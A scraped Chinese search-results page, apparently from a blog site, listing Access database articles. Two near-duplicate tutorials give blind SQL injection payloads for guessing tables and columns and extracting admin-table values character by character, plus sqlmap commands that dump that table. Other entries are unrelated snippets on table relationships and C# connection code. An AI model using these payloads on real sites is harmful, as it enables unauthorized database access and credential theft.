精华内容
下载资源
问答
  • Access数据库注入

    2020-05-28 09:33:41
    Access数据库 Access数据库中的函数  盲注Access数据库  Sqlmap注入Access数据库 Access数据库 Microsoft Office Access是由微软发布的关系数据库管理系统。Microsoft Office Access是微软把数据库引擎的...

    目录

    Access数据库

    Access数据库中的函数 

    盲注Access数据库 

    Sqlmap注入Access数据库


    Access数据库

    Microsoft Office Access是由微软发布的关系数据库管理系统。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软Office家族的一个成员。Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库,所以不需要端口号。

    在Office 2007之前的Access数据库文件的后缀是 .mdb ,Office2007及其之后的Access数据库文件的后缀是 .accdb

    Access数据库中没有注释符号.因此  /**/   、 --   和   #   都没法使用。

    Access是小型数据库,当容量到达100M左右的时候性能就会开始下降。

    Access数据库不支持错误显示注入,Access数据库不能执行系统命令。

    数据库文件打开工具:辅臣数据库浏览器

    Access数据库的连接

    "Driver={Microsoft Access driver(*.mdb)};dbq=*;uid=admin;pwd=pass;"

    Access数据库中的函数 

    1. select len("string") 查询给定字符串的长度
    2. select asc("a") 查询给定字符串的ascii
    3. top n 查询前n条记录
    4. select mid("string",2,1) 查询给定字符串从指定索引开始的长度

    mid(string,start,length) 这个用来截取字符串的

    •     string是要截取的字符串
    •     start是截取的字符串开始索引
    •     length是要截取的字符串长度 

    盲注Access数据库 

    Access数据库特有的表是:msysobjects  ,所以可以用它来判断是否是Access数据库

    exists(select*from msysobjects)  #如果这条语句正确,说明是Access数据库

    Access没有数据库的概念,所有的表都是在同一个数据库下。所以,我们不用去判断当前的数据库名,并且access数据库中也不存在 database() 函数。

    对于判断存在哪些表,只能用以下枚举的方法来猜测是否存在某某表。 

    1. 判断存在sql注入后,判断是否存在admin表,如果存在,正常查询,如果不存在,报语法错误。然后通过枚举表名爆破
    2. and exists(select* from admin)

    猜测字段也是一样,只能通过枚举来猜测 

    1. 判断有admin表后,再判断admin表有多少列,假如1-10正常查询,11列报语法报错,那说明有10列
    2. and exists(select*from admin order by 10)
    3. 判断出存在的列数后,再判断具体的列名。以下语句判断是否存在name列,如果存在,正常查询,如果不存在,则报语法错误。然后再通过枚举列名爆破
    4. and exists(select name from admin)

    猜测完表名和字段名后,我们就看看这个表里面有多少行数据 ,如果>99查询正确,>100查询错误(这里是查询错误,而不是语法错误),说明有100行数据

    and (select count(*) from information)>100

    然后在猜测每个字段具体的数据了 

    access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行,所以 top3就是显示查询出来的前三行数据了

    1. 猜测admin列的第一个数据的长度,如果大于5查询不出数据,大于4正常,说明admin列的第一个数据长度是5
    2. and (select top 1 len(admin)from admin)>5
    3. 猜测admin列的第一行数据的第一个字符的ascii码值,如果大于97查询不出数据,大于96正常,说明admin列的第一行数据的第一个字符的ascii值是97
    4. and (select top 1 asc(mid(admin,1,1))from admin)>97
    5. 第一行数据的第二个字符
    6. and (select top 1 asc(mid(admin,2,1))from admin)>97
    7. 从第二行开始,查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据,所以我们得用联合查询,先查询前两条,然后倒序,然后在找出第一条,这就是第二条数据。
    8. 查询第二行admin列的长度
    9. and (select top 1 len(admin) from ( select top 2 * from information order by id) order by id desc)>55
    10. 下面是查询第2条数据的第3个字符
    11. and (select top 1 asc(mid(admin,3,1)) from ( select top 2 * from information order by id) order by id desc)>55
    12. 查询第三条数据的4个字符
    13. and (select top 1 asc(mid(admin,4,1)) from ( select top 3 * from information order by id) order by id desc)>55

    注:在access中,中文也可以用asc函数来表示,例如:asc(mid("中国",1)) 表示 中 字的ascii值,可以用 chr 来逆向得出值

    1. asc("中") = -10544
    2. chr(-10544) = 中

    Sqlmap注入Access数据库

    爆出access数据库存在的表,只能利用枚举的方式爆破。

    sqlmap -u "xxx"  --tables

    第一步问我们是否使用公共的库去爆破,我们选择:Y;

    第二步选择默认的库文件:1 

    第三步选择线程数:10

    可以看出爆出了两个数据表:admin 、 specialty

    爆出admin数据库中的列名

    sqlmap -u "xxx" -T admin --columns

    意思和上一步也是一样的。 

    爆出admin表下username列的所有数据

    sqlmap -u "xxx" -T admin -C username --dump-all

    相关文章:整理比较全的Access SQL注入参考

                      Sqlmap使用详解

                      SQL注入漏洞详解

     

    展开全文
  • Access数据库及注入方法

    千次阅读 2019-01-14 18:46:30
    Access数据库 Access数据库中的函数 盲注Access数据库 Sqlmap注入Access数据库 Access数据库 Microsoft Office Access是由微软发布的关系数据库管理系统。Microsoft Office Access是微软把数据库引擎的图形用户...

    目录

    Access数据库

    Access数据库中的函数 

    盲注Access数据库 

    Sqlmap注入Access数据库


    Access数据库

    Microsoft Office Access是由微软发布的关系数据库管理系统。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软Office家族的一个成员。Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库,所以不需要端口号。

    在Office 2007之前的Access数据库文件的后缀是 .mdb ,Office2007及其之后的Access数据库文件的后缀是 .accdb

    Access数据库中没有注释符号.因此  /**/   、 --   和   #   都没法使用。

    Access是小型数据库,当容量到达100M左右的时候性能就会开始下降。

    Access数据库不支持错误显示注入,Access数据库不能执行系统命令。

    数据库文件打开工具:辅臣数据库浏览器

    Access数据库的连接

    "Driver={Microsoft Access driver(*.mdb)};dbq=*;uid=admin;pwd=pass;"

    Access数据库中的函数 

    select len("string")        查询给定字符串的长度
    select asc("a")             查询给定字符串的ascii值
    top  n                      查询前n条记录
    select mid("string",2,1)    查询给定字符串从指定索引开始的长度
    

    mid(string,start,length) 这个用来截取字符串的

    •     string是要截取的字符串
    •     start是截取的字符串开始索引
    •     length是要截取的字符串长度 

    盲注Access数据库 

    Access数据库特有的表是:msysobjects  ,所以可以用它来判断是否是Access数据库

    exists(select*from msysobjects)  #如果这条语句正确,说明是Access数据库

    Access没有数据库的概念,所有的表都是在同一个数据库下。所以,我们不用去判断当前的数据库名,并且access数据库中也不存在 database() 函数。

    对于判断存在哪些表,只能用以下枚举的方法来猜测是否存在某某表。 

    判断存在sql注入后,判断是否存在admin表,如果存在,正常查询,如果不存在,报语法错误。然后通过枚举表名爆破
    and exists(select* from  admin)

    猜测字段也是一样,只能通过枚举来猜测 

    判断有admin表后,再判断admin表有多少列,假如1-10正常查询,11列报语法报错,那说明有10列
    and exists(select*from admin order by 10)
    判断出存在的列数后,再判断具体的列名。以下语句判断是否存在name列,如果存在,正常查询,如果不存在,则报语法错误。然后再通过枚举列名爆破
    and exists(select name from admin)

    猜测完表名和字段名后,我们就看看这个表里面有多少行数据 ,如果>99查询正确,>100查询错误(这里是查询错误,而不是语法错误),说明有100行数据

    and (select count(*) from information)>100

    然后在猜测每个字段具体的数据了 

    access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行,所以 top3就是显示查询出来的前三行数据了

    猜测admin列的第一个数据的长度,如果大于5查询不出数据,大于4正常,说明admin列的第一个数据长度是5
    and (select top 1 len(admin)from admin)>5
    
    猜测admin列的第一行数据的第一个字符的ascii码值,如果大于97查询不出数据,大于96正常,说明admin列的第一行数据的第一个字符的ascii值是97
    and (select top 1 asc(mid(admin,1,1))from admin)>97 
    第一行数据的第二个字符
    and (select top 1 asc(mid(admin,2,1))from admin)>97 
    
    从第二行开始,查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据,所以我们得用联合查询,先查询前两条,然后倒序,然后在找出第一条,这就是第二条数据。
    查询第二行admin列的长度
    and (select top 1 len(admin)  from ( select top 2 * from information order by id)  order by id desc)>55
    下面是查询第2条数据的第3个字符
    and (select top 1 asc(mid(admin,3,1))  from ( select top 2 * from information order by id)  order by id desc)>55
    查询第三条数据的4个字符
    and (select top 1 asc(mid(admin,4,1))  from ( select top 3 * from information order by id)  order by id desc)>55
    

    注:在access中,中文也可以用asc函数来表示,例如:asc(mid("中国",1)) 表示 中 字的ascii值,可以用 chr 来逆向得出值

    asc("中") = -10544
    chr(-10544) = 中

    Sqlmap注入Access数据库

    爆出access数据库存在的表,只能利用枚举的方式爆破。

    sqlmap -u "xxx"  --tables

    第一步问我们是否使用公共的库去爆破,我们选择:Y;

    第二步选择默认的库文件:1 

    第三步选择线程数:10

    可以看出爆出了两个数据表:admin 、 specialty

    爆出admin数据库中的列名

    sqlmap -u "xxx" -T admin --columns

    意思和上一步也是一样的。 

    爆出admin表下username列的所有数据

    sqlmap -u "xxx" -T admin -C username --dump-all

    相关文章:整理比较全的Access SQL注入参考

                      Sqlmap使用详解

                      SQL注入漏洞详解

     

    展开全文
  • access数据库关系

    2012-06-16 13:58:31
    [img=http://img.my.csdn.net/uploads/201206/16/1339826403_6007.jpg][/img] 如上图所示,那是access数据库表的表关系连接图,那个字母U的含义是什么呢?是指的表间一对多的关系么?
  • Access数据库基础知识

    2018-07-11 11:13:43
    Access数据库第一章基础知识,包含数据库的相关概念、关系数据库、数据库设计的步骤、SQL基本命令、Access简介
  • ACCESS数据库系统概述

    2019-02-05 21:00:04
    《高效办公:玩转Access数据库》共12章,介绍了Access数据库概述、Access数据库学习方法、表与字段属性、创建“人力资源管理系统”基础表、编辑各表之间的关系、创建查询、高级查询、创建窗体、创建报表、使用宏和...
  • ACCESS数据库操作实例

    2011-07-04 16:22:15
    ACCESS数据库操作实例1,建立数据库关系2,建立窗体查询
  • 教学目标:理解数据库系统的基本常识,认识关系数据库,了解Access的安装和特点,学会创建Access数据库,熟悉Access数据库的基本操作 重难点:理解数据库与数据库管理系统,学会Access的安装、创建和使用
  • 连接Access数据库

    2012-02-22 11:21:51
    ---------------------- Windows Phone 7手机开发、.Net培训、期待与您交流! ---------------------- ...下面将通过具体实例讲解如何连接Access数据库、连接加密的Access数据库以及自动识别Access数据库路径。 u

    ---------------------- Windows Phone 7手机开发.Net培训、期待与您交流! ----------------------

    连接Access数据库

    Access是一个关系型数据库,可以用来建立中小型的数据库应用系统,应用非常广泛。下面将通过具体实例讲解如何连接Access数据库、连接加密的Access数据库以及自动识别Access数据库路径。

    1. using System;
    2. using System.Collections.Generic;
    3. using System.ComponentModel;
    4. using System.Data;
    5. using System.Drawing;
    6. using System.Text;
    7. using System.Windows.Forms;
    8. using System.Data.OleDb;
    9. namespace 连接Access数据库
    10. {
    11.     public partial class Form1 : Form
    12.     {
    13.         public Form1()
    14.         {
    15.             InitializeComponent();
    16.         }
    17.  
    18.         private void Form1_Load(object sender, EventArgs e)
    19.         {
    20.             //获取数据库所在路径
    21.             string strPath = Application.StartupPath + "\\Access.mdb";
    22.             //设置数据库连接字符串,此时需要引入using System.Data.OleDb命名空间
    23.             string ConStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data source="+strPath;
    24.  
    25.             //实例化OleDbConnection类
    26.             OleDbConnection oleCon = new OleDbConnection(ConStr);
    27.  
    28.             //SQL与数据库相连接
    29.             OleDbDataAdapter oldDap = new OleDbDataAdapter("select * from 账目表",oleCon);
    30.  
    31.             DataSet ds = new DataSet();
    32.  
    33.             oldDap.Fill(ds,"账目表");
    34.  
    35.             this.dataGridView1.DataSource = ds.Tables[0].DefaultView;
    36.  
    37.             oleCon.Dispose();
    38.         }
    39.     }
    40. }
    41.  

    ---------------------- Windows Phone 7手机开发.Net培训、期待与您交流! ----------------------

     详细请查看:http://net.itheima.com/

    展开全文
  • Access数据库教程

    2011-03-07 14:38:02
    数据库基础知识及关系数据库管理系统。 ◆ Access 2003 中文版介绍。
  • Access数据库

    2013-03-18 17:14:43
    现在所用的大多数是“关系数据库” 1、ODBC是一个中间物件:用来连接ASP与数据库之间的链接 2、如何创建ODBC:控制面板->管理工具->ODBC(数据源)->文件DSN(添加)->Driver do Microsoft Access(*.mdb)->创建数据源...

    现在所用的大多数是“关系型数据库
    1、ODBC是一个中间物件:用来连接ASP与数据库之间的链接
    2、如何创建ODBC:控制面板->管理工具->ODBC(数据源)->文件DSN(添加)->Driver do Microsoft Access(*.mdb)->创建数据源(fif.dsn)->选择(s)->高级(有密码时)
    ODBC文件的保存路径:C:\Program Files\Common Files\ODBC\Data Sources
    3、什么是SQL:结构化查询语言(CRUD等操作)
       查询:select * from stu
             select
             [TOP 返回记录条数]
             字段名表
             FROM 数据表序列
             [WHERE 条件表达式]
      [ORDER BY 排序字段表[ASC/DESC]]

       增加:insert into stu(字段)values (字段值);

    4、什么是ADO:ASP中使用ADO对象来访问数据库
    5、access简单操作(小型网站、数据储存)
    6、表一般用英文来命名这样兼容性会更好

    7、读取数据库中所有表:
    程序代码:
    <%sqlcmd="select name from [msysobjects] where type=1 and flags=0"%>

    注意:要设置msysobjects表的权限或则“不能读取记录”。

    office 2003设置:工具 -> 选项 -> 视图 -> 勾选隐藏对象、系统对象。工具 -> 安全 -> 用户与组的权限 ,在对象名称中选定 MSysObjects ,然后权限中设置其读取权限。

    office 2007设置:单击左上角图标 -> Access选项 -> 当前数据库 -> 导航 -> 导航选项 -> 勾选显示隐藏对象,显示系统对象。数据库工具选项卡 -> 用户和权限 -> 用户与组权限,对象类型选择表,对象名称选定MSysObjects,然后勾选“读取数据”权限

    还有一种方法可以实现读取Access数据库中所有表:
    程序代码
    <%
    set rs=conn.openSchema(20)'返回包含模式信息的 Recordset 对象
    rs.filter="table_type='table'"'筛选table_type为table类型的数据表,其他类型为系统内置表
    do while not rs.eof
        response.write(rs("TABLE_NAME"))'用recordset记录集获取列名为table_name的数据
        response.Write("<br />")
    rs.movenext:loop
    %>

     

     

    还在更新中“个人笔记而已”

    展开全文
  • ACCESS数据库偏移注入

    2021-05-01 21:49:42
    access数据库简介 access 关系型数据库,同时 也是文件型数据库,不需要端口号。 结构上与其他关系型数据库不同,只有表名、列名、字段名, 没有数据库名, 自己网站自己管,数据库*.mdb直接在自己网站目录下面,...
  • C#连接Access数据库

    2016-12-31 14:35:24
    C#连接Access数据库Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和图形用户界面两项特点,是 Microsoft Office 的系统程序之一。对于许多小型的软件,使用...
  • Access数据库程序设计教程

    热门讨论 2009-06-19 18:31:50
    包括:数据库系统的基础知识,建立关系型数据库的步骤,着重介绍了Access数据库的基础知识、数据库的基本操作、数据库向导的应用、数据库及其对象的创建以及数据库的管理与维护等,并结合实例介绍了利用Access创建...
  • 自考Access数据库课件

    2011-11-23 20:57:31
    根据自考教材Access关系数据库自制的ppt
  • 本文档介绍了有关Access数据库的数据类型及与SQl语言的对应关系,对初学者大有帮助。
  • 转自https://www.cnblogs.com/Spacecup/p/3983250.html
  • 本书主要介绍了数据库基础原理、Access基本操作,学会表、窗体、报表、关系数据库、数据查询、数据访问页的制作,掌握宏、控件、VBA等数据库应用知识
  • 本课程章节计划表: 第一章:Access数据库概述 1、Access数据库概述 第二章:Access数据库安装文件下载及安装 1、Access数据库安装文件下载及安装 第三章:创建数据库表 1、 利用表向导创建表 2、 利用表设计器创建...
  • 本书全面介绍了Access 2013关系数据库的各项功能、操作方法和开发信息系统的技术。  本书从教学实际需求出发,合理安排知识结构,从零开始、由浅入深、循序渐进地讲解了Access 2013的基本知识和使用方法。本书共...
  • Access2003关系数据库环境下,把有关“学生”的信息输入到计算机中的“学生管理数据库”中并保存起来,这就是王君要做的第一项工作。而完成数据表的建立是其中一项最基础最重要的工作,这里面涉及到字段的定义、...
  • 全国省市地区数据Access数据库,范式的数据库关系模式
  • 但是以前都是在JSP页面中连接access数据库,无论是以下的那种方式都进行了连接的练习,但是现在我想让我的项目中的访问access数据库的java代码,封装到DAO中,在DAO中连接数据库,没有和Servlet API有任何的关系。...
  • 在做Access数据库设计时,常常直接在access文件中建表,建字段,然后写设计文档时,又得重新再写一遍字段和表间关系。其实access数据库自己就支持自动生成数据库文档。 操作方法如下: 数据库工具 -> 数据库...
  • 中文Access数据库应用教程,基础教程。Microsoft Office Access是由微软发布的关系数据库管理系统。
  • Easy Access是免费的数据库应用程序,可以帮助您查看,创建和编辑MS Access数据库文件(MDB,ACCDB)。良好的用户界面,你可以与数据库中的表,视图的工作和运行查询,创建,编辑和查看表关系,列表,添加和删除索引...
  • access数据库技术PPT

    2009-08-15 00:17:35
    数据库基础及 access的应用,关系数据库模型等等,适合于教学用PPT
  • 渗透测试基础-Access数据库之Cookie注入Access数据库Cookie注入Access数据库-Cookie注入靶场演练漏洞总结 只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,648
精华内容 1,059
关键字:

access数据库关系